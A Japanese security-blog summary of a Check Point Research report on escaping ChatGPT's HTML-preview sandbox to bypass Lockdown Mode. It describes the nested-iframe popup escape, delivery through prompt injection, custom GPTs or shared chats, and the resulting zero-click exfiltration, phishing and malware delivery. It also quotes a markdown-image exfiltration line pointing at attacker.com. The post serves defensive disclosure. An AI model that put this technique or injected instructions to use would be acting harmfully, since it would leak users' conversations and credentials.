ChatGPT Lockdown Mode バイパス：AIクライアント機能の隙を突くデータ窃取となりすまし｜ブログ(ほぼこもセキュリティニュース)

Check Point Research（CPR）は2026年11月5日に、ChatGPTのHTMLプレビュー機能に存在するサンドボックスの制限不備に起因する脆弱性レポートを公表しました。
本脅威は、ChatGPTに実装されている「HTMLプレビュー機能（コードブロック内のHTMLを直接ブラウザ上で描画・実行する機能）」のサンドボックス設定の隙を突き、外部通信や画面遷移を厳格に遮断する保護機構（いわゆるLockdown Mode）をすり抜ける脆弱性です。
細工されたプロンプト、悪意あるカスタムGPT、共有チャット（Shared Chat）、あるいは外部Webページの読み込みに伴う間接的プロンプトインジェクションを経由して攻撃スクリプトを含むHTMLを描画させることで、攻撃者は以下の攻撃を成立させることが可能でした。

当該チャット内で扱われた会話データやアップロード内容の無断外部送信（Silent Exfiltration）
正規UIを装った偽ログイン画面による認証情報窃取（フィッシング）
正規ソフトウェアのアップデートを装ったマルウェア配布

なお、本脆弱性はCPRによる報告を受け、OpenAIによってiframeのパーミッション設定見直しによる修正パッチが適用済みです。
特徴的な部分をみてみましょう。

サンドボックス制限の迂回手法（技術的特異点）
ChatGPTのHTMLプレビューは本来、多重のiframeと厳格なサンドボックス属性を用いてメイン画面や外部通信から隔離されています。
また、メインスクリプト側で window.open 関数を上書き（フック）してポップアップの起動を制限していました。
しかし、iframeに allow-popups および allow-popups-to-escape-sandbox トークンが残されていたため、サンドボックス内にさらに新規iframe（ネストしたiframe）を動的に生成し、その contentWindow.open を呼び出すことで、上書きされていない未汚染のネイティブ関数を取得・実行してポップアップを強制展開できました。
- 類似事例との違い
  従来のAIインジェクション（間接的プロンプトインジェクション等）は「モデルを騙して機密情報をテキストとして出力させる」というモデル層・プロンプト層への攻撃が主流でした。
  これに対して本件は、モデルが出力したコードを描画するフロントエンド/ブラウザ実装層（サンドボックス仕様）の不備を突いており、古典的なWebセキュリティの境界突破手法をAIアシスタントの実行基盤に対して成功させた点に違いがあります。
デスクトップ環境等における「ゼロクリック（ユーザー操作不要）」での情報漏洩
一般的なWebブラウザではポップアップの起動に「クリック」などのユーザアクション（User Gesture）が必須とされることが多い一方、デスクトップアプリ環境や特定の条件下では、この制限の検証を回避することが可能でした。
これにより、被害者が危険なリンクを踏んだりボタンを押したりしなくても、「チャット画面を開いて会話を進行させただけ」でバックグラウンドで会話データが持ち出される状態となっていました。
- 類似事例との違い
  従来の「マークダウン画像タグの読み込み（![exfil](https://attacker.com/?data=…)）を利用したデータ窃取」などは、CSP（Content Security Policy）や通信許可ダイアログによって厳しく遮断されるようになっていました。
  本件はそうした通信制御ポリシー自体を回避し、かつユーザ側の確認ダイアログやクリック操作を必要とせず成立させた点が極めて実効的で危険視されました。
セキュリティ機構「Lockdown Mode」の無力化
OpenAIが導入している安全制御機構（外部通信や危険な操作を制限するロックダウンモード）が、サンドボックスをエスケープしたポップアップウィンドウ内には波及せず、任意のHTML/JavaScriptが自由なコンテキストで動いてしまいました。
- 類似事例との違い
  「防御モードがオンになっているから安心」という安全神話を逆手に取った事例です。
  これまでのジェイルブレイク（脱獄）がAIの倫理フィルターや安全ポリシーをすり抜けるものであったのに対し、本件はシステム側が明示的に設けた隔離サンドボックスの境界線そのものを無力化しています。
信頼されたUIを悪用したフィッシングとマルウェア配布
サンドボックスからエスケープしたウィンドウはChatGPTの正規アプリケーションから起動されるため、ユーザには「ChatGPTが公式に出したポップアップや再認証通知」に見えます。
これを用いて「セッションが切れました」と偽のログインフォームを表示させたり、ツールのアップデートを装って実行ファイルをダウンロードさせることが可能でした。
- 類似事例との違い
  メールやSNSを起点とする外部からの一般的な標的型攻撃と異なり、「業務で常用しているAIツール内部から直接攻撃が飛んでくる」ため、従業員の警戒心（ソーシャルエンジニアリング耐性）を突破しやすい脅威モデルとなっています。

本脅威は、大規模言語モデル（LLM）自体の推論やアライメントの問題ではなく、「生成されたリッチコンテンツ（HTMLコード等）をユーザ環境で安全に実行・プレビューさせるためのクライアント側サンドボックス設計」に内在していた脆弱性です。
攻撃の本質としては、多重iframe内のポップアップ脱出トークン（allow-popups-to-escape-sandbox）の存在により、AIクライアントの通信制御やロックダウンを迂回して任意スクリプトの実行と外部送信を許した点にあったと考えられます。

AIプラットフォームの高度化に伴い、コード実行環境やHTML描画プレビューなどのインタラクティブ機能が拡充されています。
AIセキュリティを確保するためには、プロンプトインジェクション等のモデル対策だけでなく、フロントエンド（iframe、CSP、Electron設定など）の厳格なパーミッション管理と最小権限の原則を徹底することが不可欠であると示しています。

本脅威はクライアント側の実装上の脆弱性を突いたものであると同時に、プレビュー機能という仕様や、信頼するAIツールへのユーザの油断・心理的な隙を巧妙に悪用した複合的な攻撃であったと言えます。

ChatGPT Lockdown Mode Bypass: Phishing, Malware Delivery, and Silent Data Exfiltration
https://research.checkpoint.com/2026/chatgpt-lockdown-mode-bypass-phishing-malware-delivery-and-silent-data-exfiltration/